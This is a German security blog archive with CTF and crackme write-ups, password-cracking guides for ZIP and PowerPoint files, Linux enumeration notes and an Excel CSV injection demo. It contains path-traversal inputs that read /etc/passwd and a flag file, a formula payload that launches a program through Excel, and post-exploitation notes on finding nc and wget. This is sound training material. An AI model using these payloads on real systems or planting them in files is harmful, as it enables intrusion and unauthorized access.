Kategorie: IT-Security
RSS

IOLI-crackme – 0x02

2019-04-22 von admin

Auf der Website der University of California, Riverside (UCR) im Department of Computer Science and Engineering wird ein Kurs zum Thema „Security and privacy“ angeboten. Dabei wird auch auf das Thema Reverse Engineering näher eingegangen. Es gilt, sieben Crackmes (IOLI-crackme) zu lösen.

 

Writeup Crackme0x02 

Als erstes das Programm „crackme0x02“ ausführen. Daraufhin wird eine Passworteingabe verlangt, welches wir nicht kennen. Zum Testen einfach ein paar Buchstaben eingeben und mit Enter bestätigen.

./crackme0x02

Mit dem Befehl „file“ kann geprüft werden, um welchen Dateityp es sich handelt.

file crackme0x02

In der Ausgabe wird der Dateityp ELF angezeigt. Mit einem weiteren UNIX-Programm, dem GNU Debugger, besteht die Möglichkeit, die Software in Maschinensprache anzeigen zulassen.

gdb ./crackme0x02
set disassembly-flavor intel
disas main

Der erste Befehlt „gdb ./crackme0x02“ öffnet den GNU Debugger und ebenfalls die Datei „crackme0x02“. Mit dem darauf folgenden Befehl wird die Darstellung der Syntax auf Intel umgestellt. Als nächstes wird die „Main“ Methode des „crackme0x02“ zur Anzeige gebracht.

 

Der relevante Teil ist nach „call 0x804830c <scanf@plt>“ zu finden. Die Funktion „scanf“ liest die Tastatureingabe und im folgenden befindet sich die Berechnung des Passworts.

Code Beschreibung
mov DWORD PTR [esp+0x4], eax Der Wert von eax (zeigt auf [ebp-0x4]) und wird nach [esp+0x4] kopiert.
mov DWORD PTR [esp], 0x804856c Die Adresse 0x804856c (zeigt auf [ebp-0x4]) wird zum Stackpointer [esp] kopiert.
call 0x804830c <scanf@plt> Die Funktion scanf wird aufgerufen und der eingegebene Wert wird in [ebp-0x4] geschrieben.
mov DWORD PTR [ebp-0x8], 0x5a Der Basepointer [ebp-0x8] wird mit dem Hexadezimalwert „5a“ (in Dezimal „90“) belegt.
mov DWORD PTR [ebp-0xc], 0x1ec Der Basepointer [ebp-0xc] wird mit dem Hexadezimalwert „1ec“ (in Dezimal „492“) belegt.
mov edx, DWORD PTR [ebp-0xc] Der Wert von [ebp-0xc] (in Dezimal „492“) wird nach edx kopiert.
lea eax, [ebp-0x8] Mit lea (load effective address) wird in eax die Adresse von [ebp-0x8] (in Dezimal „90“) abgelegt.
add DWORD PTR [eax], edx Die Werte von edx (492) und eax (zeigt [ebp-0x8] (in Dezimal „90“)) werden addiert.

eax (582) = eax (90) + edx (492)

Da eax auf die Adresse [ebp-0x8] zeigt, wird der vorherige Wert 90 mit dem Wert 582 überschrieben.

mov eax, DWORD PTR [ebp-0x8] Der Wert von [ebp-0x8] (582) wird nach eax kopiert.
imul eax, DWORD PTR [ebp-0x8] Die Werte von [ebp-0x8] (582) und eax (582) werden multipliziert.

eax (338724) = eax (582) * [ebp-0x8] (582)

mov DWORD PTR [ebp-0xc], eax Der Wert von eax (338724) wird nach [ebp-0xc] kopiert.
mov eax, DWORD PTR [ebp-0x4] Die Passworteingabe ist in [ebp-0x4] abgelegt und wird nach eax kopiert.
cmp eax, DWORD PTR [ebp-0xc] Die Werte in [ebp-0xc9] (338724) und eax (Passworteingabe) werden verglichen.
jne 0x8048461 <main+125> Darauf folgt eine IF-Abfrage (Jump if not equal) und es wird eine Erfolgs- oder eine Fehlermeldung ausgegeben.

 

Das gesuchte Passwort lautet: 338724

 

Link zum Kurs: http://www.cs.ucr.edu/~csong/cs165/17/info.html

Download der Challenges: http://www.cs.ucr.edu/~csong/cs165/17/l/lab1.tar.bz2

Kategorie: IT-Security Schlagwörter: , ,

35C3 Junior CTF – McDonald

2019-02-06 von admin

Challenge

Our web admin name’s “Mc Donald” and he likes apples and always forgets to throw away his apple cores..

http://35.207.132.47:85

 

Analyse

Nach dem Aufruf der Webseite wurde eine leere Seite angezeigt. Im Quelltext der Seite war auch nichts zu finden.

Ein Blick in die „robots.txt“ verschaffte neue Erkenntnisse.

http://35.207.91.38/robots.txt

Inhalt der Datei:

User-agent: *
Disallow: /backup/.DS_Store

Als nächstes wurde die Datei „DS_Store“ heruntergeladen.

 

Information gathering

1. Recherche was das für eine Datei ist. Wikipedia sagt dazu:

„In the Apple macOS operating system, .DS_Store is a file that stores custom attributes of its containing folder, such as the position of icons or the choice of a background image. The name is an abbreviation of Desktop Services Store, reflecting its purpose. It is created and maintained by the Finder application in every folder, and has functions similar to the file desktop.ini in Microsoft Windows. Starting with a full stop (period) character, it is hidden in Finder and many Unix utilities. Its internal structure is proprietary.“

2. Nach einer weiteren Suche im Web bin ich auf das Tool „ds store exp“ gestoßen.

 

Durchführung

1. Das Tool anwenden und alle Ordner und Dateien werden extrahiert.

./ds_store_exp.py http://35.207.91.38/backup/.DS_Store

2. Flag suchen

Die Ordner- und Dateistruktur mit dem Befehl „tree“ anzeigen.

In der Textdatei „flag,txt“ befindet sich das gesuchte Flag.

Solution: 35c3_Appl3s_H1dden_F1l3s

Kategorie: IT-Security Schlagwörter: ,

35C3 Junior CTF – rare_mount

2019-02-02 von admin

Challenge

Little or big, we do not care!

File: ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin

 

Analyse

Nach dem Download der Datei wurde mit dem Befehl „file“ geschaut, um welchen Dateityp es sich handelt.

$file ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin
ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin: data

Leider hilft das noch nicht wirklich weiter. Ein weiterer Versuch mit dem Programm „binwalk“:

$binwalk ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin

DECIMAL   	HEX       	DESCRIPTION
------------------------------------------------------------
0         	0x0       	JFFS2 filesystem, big endian

Es handelt sich bei der Datei um ein JFFS2 Filesystem.

 

Information gathering

Nach der Recherche können Dateien mit dem „JFFS2 filesystem extraction tool“ extrahiert werden.

1. Download des Tools

$git clone https://github.com/sviehb/jefferson

2. Installation

$cd jefferson
$chmox +x setup.py
$./setup.py

Danach steht das Tool systemweit (/usr/local/bin/jefferson) zur Verfügung.

 

Durchführung

1. Das Tool anwenden und Dateien extrahieren.

$jefferson ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin -d rare_output

2. Flag suchen

Das Tool legt einen Ordner mit dem Namen „rare_output“ an. Dort ist ein weiterer Unterordner mit dem Namen „fs_1“ enthalten. Dieser wiederum enthält zwei Dateien.

In der Textdatei befindet sich das gesuchte Flag.

 

Solution: 35C3_big_or_little_1_dont_give_a_shizzle

Kategorie: IT-Security Schlagwörter: ,

35C3 Junior CTF – flags

2019-01-06 von admin

Der CCC veranstaltet seit 35 Jahren einen Kongress. Der diesjährige fand unter dem Motto Refreshing Memories statt. Auch in diesem Jahr gab es ein CTF (Capture the flag) Spiel. Ziel eines CTF-Spiels ist es, eine Schwachstelle zu finden, diese auszunutzen und ein „Flag“ in Erfahrung zu bringen.

Challenge

Fun with flags: http://35.207.169.47
Flag is at /flag
Difficulty estimate: Easy

 

Beim Aufruf der Adresse wurde folgende Seite angezeigt.

Analyse

Der PHP Code holt sich die aktuellen gesetzten Browsersprachen.

$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';

Danach werden die Sprachen (falls mehrere gesetzt sind) aufgeteilt und die erste wird in die Variable geschrieben.

$lang = explode(',', $lang)[0];

Daraufhin wird der Inhalt der Variable gesäubert bzw. geschützt.

$lang = str_replace('../', '', $lang);

Als nächstes wird aus dem Ordner „flags“ das Bild passend zur Sprache geladen.

$c = file_get_contents("flags/$lang");

Jetzt erfolgt eine Prüfung, ob eine Datei vorhanden ist und wenn nicht, wird ein default Bild geladen.

if (!$c) $c = file_get_contents("flags/ot");

In der letzten Zeile erfolgt die Ausgabe.

 

Information gathering

Was wissen wir:

  • Das Ziel liegt unter „/flag“.
  • Eingabeparameter, der beeinflusst werden kann, ist die erste Browsersprache.
  • Es gibt einen Schutzmechanismus „str_replace“.

 

Unser Ziel ist es, dass Laden des Inhaltes zu beeinflussen.

$c = file_get_contents("flags/../../../../../flag");

Das ist prinzipiell möglich, da die Browsersprache selbst festgelegt werden kann. Dafür im Firefox in der Adresszeile den Befehl „about:config“ eingeben und nach „intl.accept_languages“ suchen.

Jetzt noch den Schutzmechanismus „str_replace“ umgehen. Die Funktion ersetzt den Text „../“ durch einen leeren String. Der Mechanismus ist leicht zu umgehen, denn es wird nur „../“ ersetzt. Wenn aber als Input für die Funktion „….//“ beinhaltet, ist das Output „../“ und genau das möchten wir erreichen. Es werden lediglich zwei Punkte und ein Slash entfernt, der Rest bleibt erhalten.

 

Exploiting

1. Wir ändern unsere Browsersprache in „….//….//….//….//flag“

2. Wir rufen die Seite auf.

Es wird kein Bild angezeigt. Also den Quelltext der Seite anzeigen lassen (STRG +U).

3. Den Text kopieren und dekodieren.

echo "MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo=" | base64 -d

Solution: 35c3_this_flag_is_the_be5t_fl4g

 

Diese Art von Angriff nennt man directory traversal attack. :)

Kategorie: IT-Security Schlagwörter: ,

Microsoft PowerPoint Schreibschutz Passwort entfernen

2018-09-01 von admin

Für das hier gezeigte Beispiel wurde Microsoft PowerPoint 2013 verwendet. Mit einer neueren Office Version funktioniert die folgende Anleitung ebenso:

 

Vorbereitung

Als erstes eine PowerPoint Datei erstellen. Daraufhin im Menü „Datei – Speichern unter“ wählen. In dem Dialog gibt es die Option „Tools“.

 

Hier die  „Allgemeine Optionen…“ wählen. Daraufhin öffnet sich ein weiteres Dialog-Fenster. In diesem kann jetzt das Schreibschutzpasswort vergeben werden.

Nach der Vergabe eines Passworts die Datei speichern und schließen. Zum Test die Datei öffnen und die Kennwortabfrage erscheint.

 

Passwortschutz entfernen

Als nächstes wird die Datei „Geheim.pptx“ nach „Geheim.zip“ umbenannt. Daraufhin die Datei mit einem ZIP-Programm öffnen und in den Ordner „ppt“ navigieren.

Hier die Datei „presentation.xml“ mit einem Editor öffnen.

In der Datei nach dem Tag „<p:modifyVerifier crytProviderType …“ suchen, entfernen und speichern. Danach die Dateiendung in „pptx“ umbenennen.

Beim Öffnen der PowerPoint Datei kann eine Fehlermeldung erscheinen, diese einfach ignorieren (Reparieren) und siehe da,  beim Öffnen wird kein Passwort mehr eingefordert.

Kategorie: IT-Security Schlagwörter:

Passwort einer ZIP Datei mit John the Ripper knacken

2018-08-12 von admin

Mit der Software John the Ripper ist es ebenfalls möglich, ein vergessenes Passwort in Erfahrung zu bringen.

Installation der Software

git clone https://github.com/magnumripper/JohnTheRipper

Danach in den Ordner wechseln.

cd JohnTheRipper/src

Als nächstes

./configure
make clean
make

ausführen. Daraufhin wird die Software gebaut und ist unter „JohnTheRipper/run“ zu finden.

Konstruktion eines Beispiels

1. Erstellen einer Textdatei mit dem Namen „Geheim.txt“ und Eingabe eines Geheimtextes.

2. Mit dem Befehl zip die Textdatei packen und das Passwort „123456“ vergeben.

zip -e -o Geheim.zip Geheim.txt

Parameter Beschreibung
e Verschlüsseln
o Name der Zip Datei

 

3. Prüfen, ob das vergebene Passwort funktioniert. Dafür die Datei entpacken und einmal das richtige und einmal das falsche Passwort eingeben.

unzip Geheim.zip

4. Mit dem Programm „zip2john“ den Passworthash aus der ZIP Datei auslesen und in eine Datei speichern.

./run/zip2john /tmp/Geheim.zip > /tmp/hash.txt

5. Mit John the Ripper und einer Wörterliste werden Hashes generiert und verglichen, bis das Passwort gefunden ist.

./run/john --format=PKZIP --wordlist=/tmp/numbers.txt hash.txt

 

Download von Wortlisten

https://github.com/danielmiessler/SecLists/tree/master/Passwords

https://wiki.skullsecurity.org/Passwords

https://packetstormsecurity.com/Crackers/wordlists/

http://www.md5this.com/tools/wordlists.html

https://weakpass.com

http://ftp.icm.edu.pl/packages/wordlists/

http://download.openwall.net/pub/wordlists/

Kategorie: IT-Security Schlagwörter: ,

Common Vulnerabilities and Exposures (CVE)

2018-08-04 von admin

Common Vulnerabilities and Exposures, kurz CVE genannt, ist ein Industriestandard für Namenskonvention von Sicherheitslücken. Dadurch wird eine eindeutige Identifizierung und ein Informationsaustausch einer Schwachstelle gewährleistet.

Die Liste der CVEs wird von der Non-Profit-Organization „MITRE Corporation“ in Zusammenarbeit mit Sicherheitsexperten, Bildungseinrichtungen, Behörden und Herstellern von Sicherheitssoftware (CVE Numbering Authorities) verwaltet.

CVE Nummern werden auch häufig als CVE names, CVE numbers, CVE-IDs und CVEs bezeichnet.

 

Aufbau einer CVE Nummer

CVE-YYYY-NNNN
Parameter Beschreibung
CVE Prefix
YYYY Jahresangabe
NNNN fortlaufende Nummer

 

Von 1999 bis 2013 waren die fortlaufenden Nummern immer vierstellig (mit führender 0). Seit 2014 kann die fortlaufende Nummer beliebig lang sein, aber mindestens vier Stellen.

 

Links

Link Beschreibung
https://www.cvedetails.com Webinterface zur Suche von CVEs und Detailinformationen
http://cve.mitre.org/data/downloads/index.html Download aller CVEs

 

Kategorie: IT-Security

Passwort einer ZIP Datei mit fcrackzip knacken

2018-07-29 von admin

Mit der Software fcrackzip ist es unter Linux möglich, ein vergessenes Passwort, unter Anwendung der Brute-Force-Methode, zu knacken. Die Installation der Software kann wie folgt durchgeführt werden:

apt-get install fcrackzip

 

Konstruktion eines Beispiels

1. Erstellen einer Textdatei mit dem Namen „Geheim.txt“ und Eingabe eines Geheimtextes.

2. Mit dem Befehl zip die Textdatei packen und das Passwort „123456“ vergeben.

zip -e -o Geheim.zip Geheim.txt

Parameter Beschreibung
e Verschlüsseln
o Name der Zip Datei

 

3. Prüfen, ob das vergebene Passwort funktioniert. Dafür die Datei entpacken und einmal das richtige und einmal das falsche Passwort eingeben.

unzip Geheim.zip

4. Mit dem Programm fcrackzip die Datei „Geheim.zip“ knacken

fcrackzip -v -l 5-6 -c 1 -u Geheim.zip

Parameter Beschreibung
v Anzeige von Detailinformationen
l Angabe der Passwortlänge min. bis max. (5-6)
c Verwendung des Zeichensatzes, wobei „1“ für Zahlen zwischen 0 bis 9 steht
u Verwendung der Software unzip, um falsche Passwörter auszusortieren

 

Kategorie: IT-Security Schlagwörter:

Google CTF – Beginners Quest – ADMIN UI

2018-07-07 von admin

Google veranstaltet regelmäßig Capture the Flags (CTF). Ziel eines CTF-Spiels ist es, eine Schwachstelle zu finden, diese auszunutzen und ein „Flag“ in Erfahrung zu bringen. Das Flag ist meist ein Text mit einer definierten Struktur, mit dem Punkte eingelöst werden. Das Team mit den meisten Punkten gewinnt das Spiel.

 

Challenge „Beginners Quest – ADMIN UI“

 

Analyse

Als erstes auf der Konsole mit der Software Netcat eine Verbindung aufbauen.

nc mngmnt-iface.ctfcompetition.com 1337

Dadurch wird eine Verbindung zum Server aufgebaut und automatisch wird ein Programm gestartet, welches auf diesem läuft. Das Programm bietet folgende Funktionen über ein Menü an:

=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit

 

Bei der Option „1“ wird ein Passwort verlangt, welches wir nicht haben, also wieder zurück.

Please enter the backdoo^Wservice password:

Die Option „2“ stellt ein weiteres Menü bereit:

The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?

 

Mit der Eingabe „Version0.3“ erhalten wir die Patchnotes:

# Version 0.3
- Rollback of version 0.2 because of random reasons
- Blah Blah
- Fix random reboots at 2:32 every second Friday when it's new-moon.

Mit der Eingabe „Version0.2“ erhalten wir die Patchnotes:

# Release 0.2
- Updated library X to version 0.Y
- Fixed path traversal bug
- Improved the UX

 

Let’s go hacking

Bis hierhin kein Problem, wir haben eine Software, die auf einem Server läuft, eine Passworteingabe verlangt, Patchnotes bereitstellt und sich beenden lässt.

Als erstes habe ich ein paar nicht zulässige Eingaben ausprobiert. D.h., anstatt die im Menü vorgegebenen Eingaben habe ich Menüpunkt „4“, „0“, … usw. ausprobiert. Was keinen Erfolg brachte.

 

Als nächstes habe ich im Untermenü der Patchnotes invalide Eingaben ausprobiert. Folgende Fehlermeldung kam zum Vorschein:

Error: No such file or directory

Daraus lässt sich schließen, dass wahrscheinlich die Patchnotes in Dateien abgelegt sind und das Programm diese öffnet und entsprechend anzeigt.

 

Durch einen einfachen Test lässt sich herauszufinden, ob das Programm nur den „Dateinamen“ oder „Pfad/Dateinamen“ zum Öffnen benötigt. Im Untermenü wird folgendes eingegeben:

./Version0.3

Daraufhin wird die Datei Version 0.3 angezeigt.

# Version 0.3
 - Rollback of version 0.2 because of random reasons
 - Blah Blah
 - Fix random reboots at 2:32 every second Friday when it's new-moon.

Bingo ! :) D.h. über die Eingabe ist es möglich, einen Pfad (Path Traversel) anzugeben. Zur Verdeutlichung, was dadurch jetzt möglich ist:

../../../../../../etc/passwd

Ausgabe

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/syn
...

Leider haben wir das Flag noch nicht gefunden und es kann sich überall auf dem Server befinden.

 

Weitere Informationsbeschaffung

Unter Linux ist es möglich, sich den aktuell laufenden Prozess anzeigen zu lassen. Mittels

/proc/self/cmdline

wird der aktuelle Prozess angezeigt.

  1. Verbinden mit Netcat
  2. Menüpunkt „2“ aufrufen
  3. Folgende Eingabe durchführen
../../../../../../../../../../proc/self/cmdline

Ausgabe

./main=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit

Der Name der laufenden Applikation lautet „main“.

 

Programm herunterladen

Auf folgende Art und Weise kann das Programm jetzt vom Server heruntergeladen werden.

echo -e "2\n../main" | nc -v mngmnt-iface.ctfcompetition.com 1337 > admin_ui_file
Befehl/Argument Beschreibung
echo Der Befehl „echo“ gibt einen Text aus.
e Der Parameter „e“ sorgt dafür, dass das Sonderzeichen „\n“ interpretiert wird (Enter/Newline).
| Mit der Pipe „|“ wird die Ausgabe an das Programm Netcat übergeben, welches sich zum Server verbindet.
> Mit „>“ werden alle Ausgaben in eine Datei „admin_ui_file“ gespeichert.

 

Nach ca. 10 Sekunden mit „STRG + C“ den Prozess abbrechen. Lokal sollte jetzt eine Datei vorhanden sein. Der manuelle Abbruch ist notwendig, da die Datei sonst immer weiter wächst. Das Warten auf eine Eingabe auf Seiten des Servers wird ebenfalls in die Datei gespeichert…

 

Reverse Engineering

Die Datei mit einem Hex-Editor (Bless) öffnen und nach Texten suchen, die hilfreich sein können.

Mit dem String „patchnotes“ ergab die Suche einen interessanten Treffer.

Final Step

Im Ordner „patchnotes“ liegt eine Datei mit dem Namen „flag“, welche es gilt anzuschauen. Also, auf eine Neues und mit dem Server verbinden, den Menüpunkt „2“ wählen und bei der Eingabe „Which patchnotes should be shown?“:

../flag

eingeben. Als Ausgabe erhalten wir unser Flag. :)

CTF{I_luv_buggy_sOFtware}=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit

 

Kategorie: IT-Security Schlagwörter: , ,

Hack-IT: Zahlenschloss

2018-05-12 von admin

Es ist ein Schloss gegeben, welches drei Felder für die Eingabe einer Zahl erwartet. Wird die richtige Kombination eingegeben, so öffnet sich das Schloss.

Folgende Hinweise (A bis E) helfen bei der Lösungsfindung:

Hinweis Nr. 1 Nr. 2 Nr. 3 Beschreibung
A 6 8 2 Eine Nummer ist richtig und richtig platziert
B 6 1 4 Eine Nummer ist richtig aber falsch platziert
C 2 0 6 Zwei Nummern sind richtig aber falsch platziert
D 7 3 8 Nichts ist richtig
E 7 8 0 Eine Nummer ist richtig aber falsch platziert

 

 

Im weiteren folgt eine Darstellung eines Lösungswegs. Vor dem Weiterlesen sollte selbst eine Runde probiert werden! :)

Hinweis D

Nach dem Durchlesen der Hinweise verspricht der Hinweis „D“ eine größere Reduktion der Kombinationsmöglichkeiten. Nach der Anwendung werden alle Werte mit 7, 3 und 8 entfernt.

Hinweis Nr. 1 Nr. 2 Nr. 3
A 6 2
B 6 1 4
C 2 0 6
D
E 0

 

Hinweis E

Der Hinweis „E“ führt zu einer weiteren Reduktion der Möglichkeiten. D.h., die Nr. 1 oder die Nr. 2 der Kombination muss eine Null enthalten.

Nr. 1 Nr. 2 Nr. 3
0
0

 

Hinweis C

Der Hinweis C sagt: „Zwei Nummern sind richtig aber falsch platziert“. Daraus ergeben sich die Kombinationen:

Kombination Kombination
2 0
6 0
2 6

Da der Hinweis E festlegt, dass eine „0“ enthalten sein muss, entfällt hier die letzte Kombination.

 

Hinweis A

Aus den aktuell gewonnen Erkenntnissen ergibt sich folgender Zwischenstand der Kombinationsmöglichkeiten unter Anwendung des Hinweises „A“. D.h., „Eine Nummer ist richtig und richtig platziert“. Somit kann die Zahl „6“ oder „2“ in Kombination mit der Zahl „0“ gesetzt werden.

Nr. 1 Nr. 2 Nr. 3
0 2
6 0
0 2

 

Hinweis B

Der Hinweis B besagt „Eine Nummer ist richtig aber falsch platziert“.

Hinweis Nr. 1 Nr. 2 Nr. 3
B 6 1 4

 

Dadurch entfällt die Kombination in der Mitte, da die Nummer „6“ nur an erster Stelle stehen darf (Hinweise A, D, E, C) und laut Hinweis B umplatziert werden muss.

Nr. 1 Nr. 2 Nr. 3
0 2
6 0
0 2

 

Die beiden übrigen Kombinationen („0“ und „2“) werden mit den Nummern „1“ und „4“ aus dem Hinweis B erweitert. Daraufhin werden die Hinweise je Kombination geprüft.

Nr. 1 Nr. 2 Nr. 3 Hinweis A Hinweis B Hinweis C Hinweis D Hinweis E
0 1 2 Ja (2) Nein (1) Ja (2,0) Ja Ja (0)
0 4 2 Ja (2) Ja (4) Ja (0,2) Ja Ja (0)
1 0 2 Ja (2) Ja (1) Nein (0) Ja Ja (0)
4 0 2 Ja (2) Ja (4) Nein (0) Ja Ja (0)

 

Die Zahl in den Klammern steht für den Widerspruch oder für die Zustimmung der Regel.

 

 

Quellenangabe:

Kategorie: IT-Security Schlagwörter: , ,

Hack-IT: Reverse Engineering – Aktivierungscode (.NET)

2018-05-06 von admin

Auf der leider nicht mehr verfügbaren Plattform „CanYouHack.it“ gab es die Challenge „I’m sure you’ve just lost the key“. Dabei handelte es sich um eine EXE-Datei (Crack1.exe), welche nach dem Starten einen Aktivierungscode verlangte.

1. Analyse der Datei

Mit dem Befehl „strings“ habe ich die EXE-Datei etwas näher untersucht. Dadurch sind folgende interessante Zeichenketten zum Vorschein gekommen.

WindowsFormsApplication1.exe
WindowsFormsApplication1.Properties
System.Windows.Forms
.NETFramework,Version=v4.5

D.h., die EXE-Datei wurde mit großer Wahrscheinlichkeit mit .NET erstellt.

2. Quellcode dekompilieren

Da es sich bei .NET um eine Common Intermediate Language handelt, ist eine Rückumwandlung des Quellcodes relativ leicht umsetzbar. Es existieren dafür verschiedene Tools. In dem Beispiel wurde ILSpy verwendet.

3. Quellcode untersuchen

Aus dem Code geht hervor, dass auf eine Seite zugegriffen und der eingegebene Aktivierungscode als Parameter übergeben wird. Daraufhin erhält man den Antworttext „Valid“ zurück und das gesuchte Passwort wird erstellt und ausgegeben.

Der erste Teil kann ignoriert werden, da dieser nur Mittel zum Zweck ist. Der Wert „Valid“ kann einfach vorausgesetzt werden. Interessant ist hingegen folgender Abschnitt:

Es ist ein Array gegeben, welches die Buchstaben „a“ bis „z“ beinhaltet. Über die Inhalte des Arrays wird iteriert und jeder Index wird durch 7 geteilt (Modulo). Ergibt der Rest 0, dann wird der entsprechende Buchstabe in der Variable „text2“ gespeichert. Dadurch entsteht das begehrte Passwort.

4. Script erstellen

Die Lösung kann in dem Fall auch per Hand ermittelt werden, jedoch wo bleibt da der Spaß. ;) Hier das erstellte Python Script:

#!/usr/bin/python3

for i in range(97,123,1):
	if ((i-97) % 7 == 0):
		print(str(chr(i)))

 

Zeile Beschreibung
1 Shebang
3 Eine Schleife über die ASCII Werte a bis z.
4 If Abfrage ob die Division (Modulo) den Rest 0 ergibt.
Der Kniff „i-97“ erspart die Deklaration eines Arrays mit den Buchstaben „a“ bis „z“.
5 Ausgabe des Buchstabens

 

Das Passwort lautet „ahov“.

Kategorie: IT-Security Schlagwörter: , , , ,

Excel CSV Injection

2017-11-01 von admin

Vor einiger Zeit wurde eine interessante Möglichkeit identifiziert, um mittels einer CSV Datei eine Ausführung eines beliebigen Programms mit MS Excel zu bewerkstelligen. Als Basis dafür kann eine beliebige CSV Datei verwendet werden:

UserId,Datum,ProjektName,Beschreibung,Dauer
1,2017-11-01,Test Projekt,Das ist ein Test,180
2,2017-08-17,Hausbau,"Haus1, Haus2, Haus3", 240
3,2017-07-25,Wichtiger Kunde,"=2+2+cmd|' /C calc'!A0", 240

In der Zeile drei und in der Spalte Beschreibung wird eine Formel verwendet:

"=2+2+cmd|' /C calc'!A0"

Schritt 1

Als erstes die Datei mit MS Excel öffnen.

Schritt 2

Danach die entsprechenden Zeilen markieren.

Schritt 3

Daraufhin auf den Reiter „DATEN“ wechseln und Button „Text in Spalten“ klicken.

Jetzt dem Wizard mit „Weiter“ folgen.

Die Option „Komma“ wählen und „Fertig stellen“ klicken.

Es erfolgt ein Sicherheitshinweis durch Excel.

Schritt 4

Und siehe da, der Taschenrechner wird gestartet.

 

Quelle

http://georgemauer.net/2017/10/07/csv-injection.html

Kategorie: IT-Security Schlagwörter: , , ,

Linux – information gathering (part 4)

2017-10-08 von admin

This is the fourth part of Linux – information gathering.

Network

Find all available network connections.

ifconfig -a

In the following files you can find specific information about the desired network configuration.

cat /etc/network/interfaces
cat /etc/sysconfig/network

You can find the configuration file for DNS resolvers here:

cat /etc/resolv.conf
cat /etc/networks

With the administration tool for IPv4/IPv6 packet filtering and NAT you can list all filters.

iptables -L

Show or set the system’s host name.

hostname

Show the system’s DNS domain name.

dnsdomainname

Connections

The command „lsof“ lists open files.

lsof -i

List port socket numbers of standard services.

cat /etc/services

The command „netstat“ or „chkconfig“ lists network connections

netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list

Cache

With „arp“ you can manipulate or display the kernel’s IPv4 network neighbour cache.

arp -e

The following command displays existing routes.

route

 

Previous parts

Linux – information gathering (part 1)

Linux – information gathering (part 2)

Linux – information gathering (part 3)

Linux – information gathering (part 4)

Kategorie: IT-Security Schlagwörter:

Hack-IT: Reverse Engineering einer Android App

2017-09-28 von admin

Bei diesem Hack-IT geht es um eine Android App, welche im Google Play Store erhältlich ist. Die Aufgabe besteht darin, dass einzugebende Passwort in der App herauszufinden.

Link zur App: https://play.google.com

 

Schritt 1

Für eine Analyse der App muss diese heruntergeladen werden. Dafür gibt es zahlreiche Tools, ich habe die Website apkpure.com verwendet. Im Suchfeld auf der Seite die Adresse der App eingeben und danach den „Download“ Button betätigen. Daraufhin steht die APK Datei zur Verfügung.

 

Schritt 2

Mit der Software dex2jar können DEX Dateien in JAR Dateien umgewandelt werden. Nach dem Download der Software sourceforge.net/projects/dex2jar/ wird das Archiv noch entpackt

unzip dex2jar-2.0.zip

und Rechte vergeben.

chmod -R +x dex2jar-2.0/

Schritt 3

Jetzt kann die APK Datei umgewandelt werden.

./dex2jar-2.0/d2j-dex2jar.sh CanYouHack.apk

Danach steht die Datei „CanYouHack-dex2jar.jar“ zur Verfügung.

Schritt 4

Als nächstes das Programm JD-GUI (jd.benow.ca) herunterladen, mit welchem der Inhalt der JAR Datei ganz einfach angeschaut werden kann.

Daraufhin heißt es suchen, in der Klasse „Mobile1“ wird der hilfreiche Text „… right password!“ aufgeführt.

Die IF-Anweisung darüber verrät uns das gesuchte Passwort:

if (paramAnonymousView.getText().toString().equals("1337"))

Das gesuchte Passwort lautet: 1337 und das Hack-IT ist gelöst.

Kategorie: IT-Security Schlagwörter: , , , , ,

Linux – information gathering (part 3)

2017-08-23 von admin

This is the third part of Linux – information gathering.

Log files

In log files you can found useful information, just take a short look at the files in the following directory:

ls -alh /var/log

A detailed explanation can be found here:

 

File System

The command „df“ reports file system disk space usage.

df -h

With the „mount“ command, you can check if there are any attached drives.

mount

Check if there are unused file systems.

cat /etc/fstab

Exploiting

The command „find“ will help to find installed development tools. With these tools, it is possible to exploit the current maschine.

find / -name python*

You can also search for „perl*“ or „gcc*“.

The following programms „wget“, „nc“, „ftp“ and „curl“ can help to transfer software to a maschine. You can find the software in the following way:

find / -name wget

 

Previous parts

Linux – information gathering (part 1)

Linux – information gathering (part 2)

Linux – information gathering (part 3)

Kategorie: IT-Security Schlagwörter: